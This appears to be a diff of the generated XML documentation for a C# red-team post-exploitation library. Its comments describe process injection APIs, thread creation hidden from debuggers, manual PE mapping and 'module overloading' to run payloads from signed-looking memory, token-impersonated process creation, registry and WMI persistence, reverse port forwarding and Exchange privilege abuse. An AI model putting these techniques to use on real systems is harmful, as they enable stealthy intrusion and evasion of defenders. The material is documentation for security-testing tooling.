Execution.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Execution.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, - procHandle, startAddress, IntPtr.Zero, Execution.Win32.NtDll.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero); + createThread(ref threadHandle, Execute.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Execute.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, + procHandle, startAddress, IntPtr.Zero, Execute.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero); @@ -1273,43 +1510,530 @@ Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine). - + - PE is a library for loading PEs in memory. It currently only work for the Mimikatz PE, not for arbitrary PEs. + Uses DynamicInvocation to call the VirtualAllocEx Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex - - PE has been adapted from Casey Smith's (@subtee) PELoader which is no longer available online. However, Chris Ross' - (@xorrior) fork is available here: https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader - + Returns the base address of allocated region if successful, otherwise return NULL. + + + + Uses DynamicInvocation to call the WriteProcessMemory Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory + + Returns true if process memory was written successfully, otherwise return false. + + + + Base class for allocation techniques. + + + + + Informs objects using this technique whether or not it supports the type of a particular payload. + + The Wover (@TheRealWover) + A payload. + Whether or not the payload is of a supported type for this strategy. + + + + Internal method for setting the supported payload types. Used in constructors. + + The Wover (@TheRealWover) + + + + Allocate the payload to the target process at a specified address. + + The Wover (@TheRealWover) + The payload to allocate to the target process. + The target process. + The address at which to allocate the payload in the target process. + True when allocation was successful. Otherwise, throws relevant exceptions. + + + + Allocate the payload to the target process. + + The Wover (@TheRealWover) + The payload to allocate to the target process. + The target process. + Base address of allocated memory within the target process's virtual memory space. + + + + Exception thrown when the payload memory fails to allocate + + + + + Exception thrown when the memory fails to write + + + + + Base class for Injection strategies. + + + + + Informs objects using this technique whether or not it supports the type of a particular payload. + + The Wover (@TheRealWover) + A payload. + Whether or not the payload is of a supported type for this strategy. + + + + Internal method for setting the supported payload types. Used in constructors. + + The Wover (@TheRealWover) + + + + Inject and execute a payload in the target process using a specific allocation technique. + + The Wover (@TheRealWover) + The type of payload to execute. + The allocation technique to use. + The target process. + bool + + + + Execute a payload in the target process at a specified address. + + The Wover (@TheRealWover) + The type of payload to execute. + The base address of the payload. + The target process. + bool + + + + Execute a payload in the current process using a specific allocation technique. + + The Wover (@TheRealWover) + The type of payload to execute. + The allocation technique to use. + + + + + Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. + + + + + Default constructor. + + + + + Constructor allowing options as arguments. + + + + + States whether the payload is supported. + + The Wover (@TheRealWover) + Payload that will be allocated. + + + + + Internal method for setting the supported payload types. Used in constructors. + Update when new types of payloads are added. + + The Wover (@TheRealWover) + + + + Create a thread in the remote process. + + The Wover (@TheRealWover) + The shellcode payload to execute in the target process. + The address of the shellcode in the target process. + The target process to inject into. + + + + + Provides static functions for performing injection using a combination of Allocation and Execution components. + + The Wover (@TheRealWover) + + + + Inject a payload into a target process using a specified allocation and execution technique. + + The Wover (@TheRealWover) + + + + + + + + + Inject a payload into the current process using a specified allocation and execution technique. + + + + + + + + + Base class for all types of payloads. + Variants are responsible for specifying what types of payloads they support. + + The Wover (@TheRealWover) + + + + Represents payloads that are position-independent-code. + + The Wover (@TheRealWover) + + + + Exception thrown when the type of a payload is not supported by a injection variant. + + The Wover (@TheRealWover) + + + + Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. + + + + + Default constructor. + + + + + Constructor allowing options as arguments. + + + + + States whether the payload is supported. + + The Wover (@TheRealWover) + Payload that will be allocated. + + + + + Internal method for setting the supported payload types. Used in constructors. + Update when new types of payloads are added. + + The Wover (@TheRealWover) + + + + Allocate the payload to the target process. Handles unknown payload types. + + The Wover (@TheRealWover) + The payload to allocate to the target process. + The target process. + Base address of allocated memory within the target process's virtual memory space. + + + + Allocate the payload in the target process. + + The Wover (@TheRealWover) + The PIC payload to allocate to the target process. + The target process. + The preferred address at which to allocate the payload in the target process. + Base address of allocated memory within the target process's virtual memory space. + + + + Creates a new Section. + + The Wover (@TheRealWover) + Max size of the Section. + Section attributes (eg. Win32.WinNT.SEC_COMMIT). + + + + + Maps a view of a section to the target process. + + The Wover (@TheRealWover) + Handle the process that the section will be mapped to. + Handle to the section. + What permissions to use on the view. + Optional parameter to specify the address of where to map the view. + Size of the view to map. Must be smaller than the max Section size. + A struct containing address and size of the mapped view. + + + + Holds the data returned from NtMapViewOfSection. + + + + + Unmaps a view of a section from a process. + + The Wover (@TheRealWover) + Process to which the view has been mapped. + Address of the view (relative to the target process) + + + + + Allocates a payload to a target process using VirtualAllocateEx and WriteProcessMemory + + aus + + + + Default constructor. + + + + + Constructor allowing options as arguments. + + + + + States whether the payload is supported. + + The Wover (@TheRealWover) + Payload that will be allocated. + + + + + Internal method for setting the supported payload types. Used in constructors. + Update when new types of payloads are added. + + The Wover (@TheRealWover) + + + + Allocate the payload to the target process. Handles unknown payload types. + + The Wover (@TheRealWover) + The payload to allocate to the target process. + The target process. + Base address of allocated memory within the target process's virtual memory space. + + + + Allocate the payload in the target process via VirtualAllocEx + WriteProcessMemory + + The Wover (@TheRealWover), aus (@aus) + The PIC payload to allocate to the target process. + The target process. + The preferred address at which to allocate the payload in the target process. + Base address of allocated memory within the target process's virtual memory space. + + + + Class for manually mapping PEs. + + + + + Maps a DLL from disk into a Section using NtCreateSection. + + The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + Full path fo the DLL on disk. + PE.PE_MANUAL_MAP + + + + Allocate file to memory from disk + + Ruben Boonen (@FuzzySec) + Full path to the file to be alloacted. + IntPtr base address of the allocated file. + + + + Allocate a byte array to memory + + Ruben Boonen (@FuzzySec) + Byte array to be allocated. + IntPtr base address of the allocated file. + + + + Relocates a module in memory. + + Ruben Boonen (@FuzzySec) + Module meta data struct (PE.PE_META_DATA). + Base address of the module in memory. + void + + + + Rewrite IAT for manually mapped module. + + Ruben Boonen (@FuzzySec) + Module meta data struct (PE.PE_META_DATA). + Base address of the module in memory. + void + + + + Set correct module section permissions. + + Ruben Boonen (@FuzzySec) + Module meta data struct (PE.PE_META_DATA). + Base address of the module in memory. + void + + + + Manually map module into current process. + + Ruben Boonen (@FuzzySec) + Full path to the module on disk. + PE_MANUAL_MAP object + + + + Manually map module into current process. + + Ruben Boonen (@FuzzySec) + Full byte array of the module. + PE_MANUAL_MAP object + + + + Manually map module into current process starting at the specified base address. + + The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + Full byte array of the module. + Address in memory to map module to. + PE_MANUAL_MAP object + + + + Manually map module into current process. + + Ruben Boonen (@FuzzySec) + Pointer to the module base. + PE_MANUAL_MAP object + + + + Manually map module into current process. + + Ruben Boonen (@FuzzySec) + Pointer to the module base. + Pointer to the PEINFO image. + PE_MANUAL_MAP object - - Gets the optional header + + + Manually map module into current process. + + Ruben Boonen (@FuzzySec) + Pointer to the module base. + Pointer to the PEINFO image. + PE_META_DATA of the module being mapped. + PE_MANUAL_MAP object - - Gets the optional header + + + Free a module that was mapped into the current process. + + The Wover (@TheRealWover) + The metadata of the manually mapped module. + + + + Locate a signed module with a minimum size which can be used for overloading. + + The Wover (@TheRealWover) + Minimum module byte size. + Whether to require that the module be legitimately signed. + + String, the full path for the candidate module if one is found, or an empty string if one is not found. + + + + + Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that + module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. + + The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + Full path to the payload module on disk. + Optional, if the decoy module must have a legitimate signature. + Optional, full path the decoy module to overload in memory. + PE.PE_MANUAL_MAP + + + + Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that + module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. + + The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + Full byte array for the payload module. + Optional, if the decoy module must have a legitimate signature. + Optional, full path the decoy module to overload in memory. + PE.PE_MANUAL_MAP + + + + Holds data structures for using PEs. + + + + + Native is a library of enums and structures for Native (NtDll) API functions. + + + A majority of this library is adapted from signatures found at www.pinvoke.net. + - - The DOS header + + + NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html + - + - PE Constructor + NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 + https://www.pinvoke.net/default.aspx/Enums/NtStatus.html - PE raw bytes. - + - Loads a PE with a specified byte array. (Requires Admin) **(*Currently broken. Works for Mimikatz, but not arbitrary PEs*) + NTCreateThreadEx is an undocumented function. Created by Microsoft to be a universal, cross-session solution + for remote thread creation. - - PE + + + + + + + + + + + + - + - Gets a pointer to an exported function in the PE. Useful to call specific exported functions after loading the PE. + Win32 is a library of PInvoke signatures for Win32 API functions. - Name of the function to get a pointer for. - Pointer to the function. + + A majority of this library is adapted from signatures found at www.pinvoke.net. + @@ -1331,38 +2055,135 @@ logging bypass goes to Lee Christensen (@_tifkin). + + + Creates a specificed process, optionally with an alternative username and password. + Equates to `ExecuteWithPath(ShellCommand, Environment.CurrentDirectory, false)`. + + The Command to execute, including any arguments. + Optional alternative username to execute ShellCommand as. + Optional alternative Domain of the username to execute ShellCommand as. + Optional password to authenticate the username to execute the ShellCommand as. + Output of the created process. + + + + Creates a specificed process, optionally with an alternative username and password. + Equates to `CreateProcess("cmd.exe /c " + ShellCommand)`. + + The Command to execute, including any arguments. + Optional alternative username to execute ShellCommand as. + Optional alternative Domain of the username to execute ShellCommand as. + Optional password to authenticate the username to execute the ShellCommand as. + Output of the created process. + - Executes a specified Shell command, optionally with an alternative username and password. - Equates to `ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32")`. + Executes a specified shell command, optionally with an alternative username and password. + Equates to `ExecuteWithPath(ShellCommand, Environment.CurrentDirectory)`. The ShellCommand to execute, including any arguments. Optional alternative username to execute ShellCommand as. Optional alternative Domain of the username to execute ShellCommand as. Optional password to authenticate the username to execute the ShellCommand as. - Ouput of the ShellCommand. + Empty string, no output is captured when UseShellExecute is true. - Executes a specified Shell command using cmd.exe, optionally with an alternative username and password. + Executes a specified shell command, optionally with an alternative username and password. Equates to `ShellExecute("cmd.exe /c " + ShellCommand)`. The ShellCommand to execute, including any arguments. Optional alternative username to execute ShellCommand as. Optional alternative Domain of the username to execute ShellCommand as. Optional password to authenticate the username to execute the ShellCommand as. - Ouput of the ShellCommand. + Empty string, no output is captured when UseShellExecute is true. - + - Executes a specified Shell command from a specified directory, optionally with an alternative username and password. + Executes a specified command, optionally with an alternative username and password. - The ShellCommand to execute, including any arguments. + The ShellCommand to execute, including any arguments. + Switch: true to use ShellExecute, false to use CreateProcess. + Optional alternative username to execute ShellCommand as. + Optional alternative Domain of the username to execute ShellCommand as. + Optional password to authenticate the username to execute the ShellCommand as. + Output of the command if UseShellExecute false, empty string if true. + + + + Executes a specified shell command from a specified directory, optionally with an alternative username and password. + + The Command to execute, including any arguments. The Path of the directory from which to execute the ShellCommand. + Switch: true to use ShellExecute, false to use CreateProcess. Optional alternative username to execute ShellCommand as. Optional alternative Domain of the username to execute ShellCommand as. Optional password to authenticate the username to execute the ShellCommand as. - Output of the ShellCommand. + Output of the command if UseShellExecute false, empty string if true. + + + + Creates a process with a specified impersonated token. Requires SeAssignPrimaryTokenPrivilege, + typically only available to adminsitrative users. + + Calvin Hedler (@001SPARTaN) + The Command to execute, including any arguments. + A handle to the impersonated token. + Output of the created process. + + + + Creates a process with a specified impersonated token. Requires SeAssignPrimaryTokenPrivilege, + typically only available to adminsitrative users. + + Calvin Hedler (@001SPARTaN) + The command to execute, including any arguments. + The path of the directory from which to execute the shell command. + A handle to the impersonated token. + Output of the created process. + + + + Kills a specified process. + + The PID of the process to kill. + bool + + + + Kills all processes with a given name. + + The name of the process(es) to kill. + bool + + + + Suspends a process specificed by Id. + + The ID of the process to suspend. + bool + + + + Suspends all processes with a given Name. + + The name of the process(es) to suspend. + bool + + + + Resumes a process specified by Id. + + The Id of the process to resume. + bool + + + + Resumes all processes with a given Name. + + The name of the process(es) to resume. + bool @@ -1380,41 +2201,12 @@ - Win32 is a library of PInvoke signatures for Win32 API functions. + Win32 is a library of enums and structures for Win32 API functions. A majority of this library is adapted from signatures found at www.pinvoke.net. - - - NTCreateThreadEx is an undocumented function. Created by Microsoft to be a universal, cross-session solution - for remote thread creation. - - - - - - - - - - - - - - - - - NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html - - - - - NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 - https://www.pinvoke.net/default.aspx/Enums/NtStatus.html - - GenericObjectResult for listing objects whose type is unknown at compile time. @@ -1500,12 +2292,10 @@ Domain for explicit credentials. Username for explicit credentials. Password for explicit credentials. - Bool. True if execution succeeds, false otherwise. + String. Results of the PowerShell command. Daniel Duggan (@_RastaMouse) - The return value is a little ambigious as the function won't return as long - as the command is still running on the remote target. Also, if execution fails - (e.g. because bad creds), it doesn't throw an error and it returns true regardless. + The function won't return as long as the command is still running on the remote target. @@ -1610,7 +2400,7 @@ Command to execute on remote system. Username to authenticate as to the remote system. Password to authenticate the user. - Bool. True if execution succeeds, false otherwise. + WmiExecuteResult, null on failure. @@ -1630,6 +2420,13 @@ Adapted from https://stackoverflow.com/questions/6790499 + + + Checks that a file is signed and has a valid signature. + + Path of file to check. + + Autorun is a class for abusing the Windows Registry to establish peristence. @@ -1708,6 +2505,52 @@ Specifies the process name when the ProcessStart trigger is selected. Defaults to notepad.exe. Specifies the scripting engine when the ActiveScript consumer is selected. Defaults to VBScript. + + + ReversePortForwarding is a class that allows the addition and removal of Reverse Port Forwards. + + + + + Creates a new Reverse Port Forward. + + The port to bind on the local system. + The IP Address or DNS name to forward traffic to. + The port to forward traffic to. + Bool. + Daniel Duggan (@_RastaMouse) + + + + Creates a new Reverse Port Forward. + + The port to bind on the local system. + The IP Address or DNS name to forward traffic to. + The port to forward traffic to. + Bool. + Daniel Duggan (@_RastaMouse) + + + + Deletes an active Reverse Port Forward. + + The bind port of the Reverse Port Forward. + Bool. + Daniel Duggan (@_RastaMouse) + + + + Gets a list of active Reverse Port Forwards. + + A SharpSploitResultList of ReversePortFwdResult + Daniel Duggan (@_RastaMouse) + + + + Delete all active Reverse Port Forwards. + + Daniel Duggan (@_RastaMouse) + Exchange is a class for abusing Microsoft Exchange for privilege escalation.